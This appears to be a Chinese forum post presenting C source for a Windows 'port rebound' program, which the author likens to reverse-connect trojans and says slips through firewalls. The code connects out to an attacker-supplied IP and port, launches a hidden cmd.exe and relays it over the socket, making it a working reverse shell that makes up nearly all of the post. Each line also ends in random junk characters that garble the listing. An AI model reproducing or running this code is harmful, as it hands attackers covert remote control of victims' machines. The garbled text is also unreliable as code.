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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \q)1 TTnHS  
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/* ============================== mU0r"\**c3  
Rebound port in Windows NT Ny&Fjzl  
By wind,2006/7 %.Q2r ?j  
===============================*/ sfBjA  
#include t.i9!'Y ]  
#include [n@!=T  
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#pragma comment(lib,"wsock32.lib") ?5+KHG*)  
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void OutputShell(); z jNjmC!W  
SOCKET sClient; U Edl"FwM4  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c$UpR"+  
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void main(int argc,char **argv) Jb-QP'$@  
{ @=| b$E  
WSADATA stWsaData; ;),O*Z|"v  
int nRet; M%dl?9pbq  
SOCKADDR_IN stSaiClient,stSaiServer; 3[g++B."pC  
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if(argc != 3) #p:jKAc3  
{ 1Z{p[\k  
printf("Useage:\n\rRebound DestIP DestPort\n"); %emPSBf@  
return; d?+oT0pCH  
} bT6)(lm  
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WSAStartup(MAKEWORD(2,2),&stWsaData); x;b+gIz*  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7)5$1  
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stSaiClient.sin_family = AF_INET; JV*,!5  
stSaiClient.sin_port = htons(0); lDM~Z3(/b  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "a_D]D(d5  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F/,<dNJ  
{ ;<ma K*f\S  
printf("Bind Socket Failed!\n"); d+| ! 6  
return; +!Gr`&w*)  
} >"My\o  
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stSaiServer.sin_family = AF_INET; ^Ypx|-Vu!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +53zI|I  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); H\>I&gC'  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) kIZdN D&  
{ 2*;Y%NcP[  
printf("Connect Error!"); hx;kEJ  
return; ^cXL4*_=  
} |@9I5Eg)iE  
OutputShell(); &@Gu~)^(  
} m.g@S30  
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void OutputShell() "+ JwS  
{ $}c@S0%P"  
char szBuff[1024]; 9%k.GE  
SECURITY_ATTRIBUTES stSecurityAttributes; OU5|m%CmO  
OSVERSIONINFO stOsversionInfo; P!&CH4+  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .F$AmVTN  
STARTUPINFO stStartupInfo; uM6!RR!~  
char *szShell; j24  
PROCESS_INFORMATION stProcessInformation; KO;61y:  
unsigned long lBytesRead; wg~`Md  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); gd,%H@3  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); l,2z5p  
stSecurityAttributes.lpSecurityDescriptor = 0; V.[#$ip6:  
stSecurityAttributes.bInheritHandle = TRUE; '{*>hj5.8  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5WN Z7cO  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); PKs%-Uk  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @BW8`Ky1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =}KbE4D+8  
stStartupInfo.wShowWindow = SW_HIDE; ~F6gF7]z  
stStartupInfo.hStdInput = hReadPipe; 4gNRln-  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; tLXw&hFk`g  
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GetVersionEx(&stOsversionInfo); "8 mulE,  
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switch(stOsversionInfo.dwPlatformId) _Cs}&Bic_  
{ T/6=A$4 #  
case 1: "{xv|C<*n  
szShell = "command.com";  ;I@L  
break; #E@i@'T  
default: */e5lRO\  
szShell = "cmd.exe"; R51!j>[fqM  
break; N9|.D.#MF  
} Oo .Qz   
~ b_gwJ'  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #iDFGkK/  
! HC<aWb  
send(sClient,szMsg,77,0); BT#g?=n#`  
while(1) }f'1x%RS^  
{ j}*+-.YF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); JB_`lefW,'  
if(lBytesRead) @h,$&=HY  
{ ~8{3Fc0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bD-Em#>  
send(sClient,szBuff,lBytesRead,0); <\EfG:e  
} GLF"`M/g  
else <%7 V`,*g/  
{ }]?G"f t K  
lBytesRead=recv(sClient,szBuff,1024,0); gQDK?aQX  
if(lBytesRead<=0) break; i?=.; 0[|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rB?cm]G=  
} kweTK]mT  
} 6x{IY  
Y\|J1I,Z4  
return; l!` 0I] }  
}
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